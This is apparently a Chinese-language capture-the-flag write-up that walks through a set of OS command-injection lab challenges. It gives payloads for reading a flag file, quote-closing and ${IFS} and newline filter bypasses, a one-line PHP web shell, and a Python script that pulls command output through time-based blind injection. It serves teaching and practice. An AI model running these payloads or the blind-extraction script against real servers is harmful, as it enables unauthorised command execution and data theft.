Classic regular example

没有过滤 直接分割一下,读flag 注意一下编码

paylaod

1
;cat%20/flag %0acat%20/flag

Classic (Base64) regular example

输入之前的payload 提示

Please, encode your input to Base64 format.

base64编码一下

1
;cat /flag  ==> O2NhdCAvZmxhZw==

拿到flag

Classic (Hex) regular example

16进制编码一下

1
;cat /flag  ==>  0x3b636174202f666c6167

去掉前面的0x,提交

Classic single-quote example

直接用之前的payload 没显示,提交127.0.0.1 有回显

看一下源码(关键部分)

1
echo exec("/bin/ping -c4 '".$addr."'");

参数被单引号包住,闭合一下

1
%27;cat%20/flag%27

Classic double-quote example

和前面不同的就是被双引号包住,闭合一下

%22;cat%20/flag%22

Classic non-space example

过滤了空格 %0a等字符,利用${IFS}绕过

1
;cat${IFS}/flag

Classic blacklisting example

做的这题的时候,网突然卡了,我还以为碰到了个大WAF,害的我跑去看源码,

1
2
3
4
5
6
$blacklisting = array(
';' => '',
'&&'=> '',
'|' => '',
'`' => ''
);

黑名单,过滤了四个字符,没关系,分割符可以用%0a 等换行符表示

paylaod

1
%0acat%20/flag

Classic hashing example

给了一串hash ,去解密一下,一般是解密不出来的

果然,没有破解出来 看一下前面的英语,string to hash 翻译一下

原来是把输入的字符串转为hash 输入一个试试

1
1 ==> b026324c6904b2a9cb4b88d6d61c81d1

有salt 命令注入还是头一次碰到这种情况,看一下源码

1
echo exec('echo '.$string.' | md5sum');

md5sum是Linux一个hash命令

因为md5sum在exec的后面,可以利用换行符绕过

payload

1
`cat%20/flag`%0a

Classic example & Basic HTTP Authentication

弹出一个对话框,auth认证,输入一个弱密码 admin admin试试,竟然绕过了

这里竟然啥都没过滤,直接截断,读文件

1
;cat+/flag

Blind regular example

盲注型的注入

dnslog

1
2


延时注入

需要几个命令 sed cut

sed

1
2
3
4
5
6
[email protected]:~# ls | sed 1p
1.txt
1.txt
22.py
[email protected]:~# ls | sed -n 1p
1.txt

cut

1
2
3
4
5
6
[email protected]:~# whoami
root
[email protected]:~# whoami | cut -c 1
r
[email protected]:~# whoami|cut -c 1-2
ro

连起来用

1
2
[email protected]:~# ls | sed -n 1p | cut -c 1-2
1.

time rce

test.php写入

1
2
3
<?php
system($_GET[shell]);
?>

payload

1
test.php?shell=if [ $(whoami|cut -c 1) = w ];then sleep 10;fi

当猜对的时候 延时10s 猜错了 直接返回

读文件可能有特殊字符,base32编码一下

1
2
>>> base64.b32encode(b'w')
b'O4======'

payload

1
test.php?shell=if [ $(whoami|base32|cut -c 1) = O ];then sleep 10;fi

wc命令

统计字节数

1
2
3
4
[email protected]:/var/www/html$ whoami | wc
1 1 4
[email protected]:/var/www/html$ whoami | wc -c
4

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import base64
import requests

chars= "QWERTYUIIOPASDFGHJKLZXCVBNM1234567890="

def get_length(url,cmd,time):
data_length=''
for i in range(1,10):
for k in range(0,10):
url1 = url + 'if [ $({0}|base32|wc -c|cut -c {1}) = {2} ];then sleep 3;fi'.format(cmd,i,k)
print(url1)
try:
res=requests.get(url=url1,timeout=time)
except:
print(k)
data_length += str(k)
break
return data_length
def get_content(url,cmd,time,length):
result=''
for k in range(length):
for c in chars:
url1 = url + 'if [ $({0}|base32|cut -c {1}) = {2} ];then sleep 3;fi'.format(cmd,k,c)
try:
requests.get(url=url1,timeout=time)
except:
result += c
print(result)
break
return result
length=int(get_length('http://192.168.25.129/test.php?shell=','whoami',2))
result=get_content('http://192.168.25.129/test.php?shell=','whoami',2,length)
print(base64.b32decode((result)))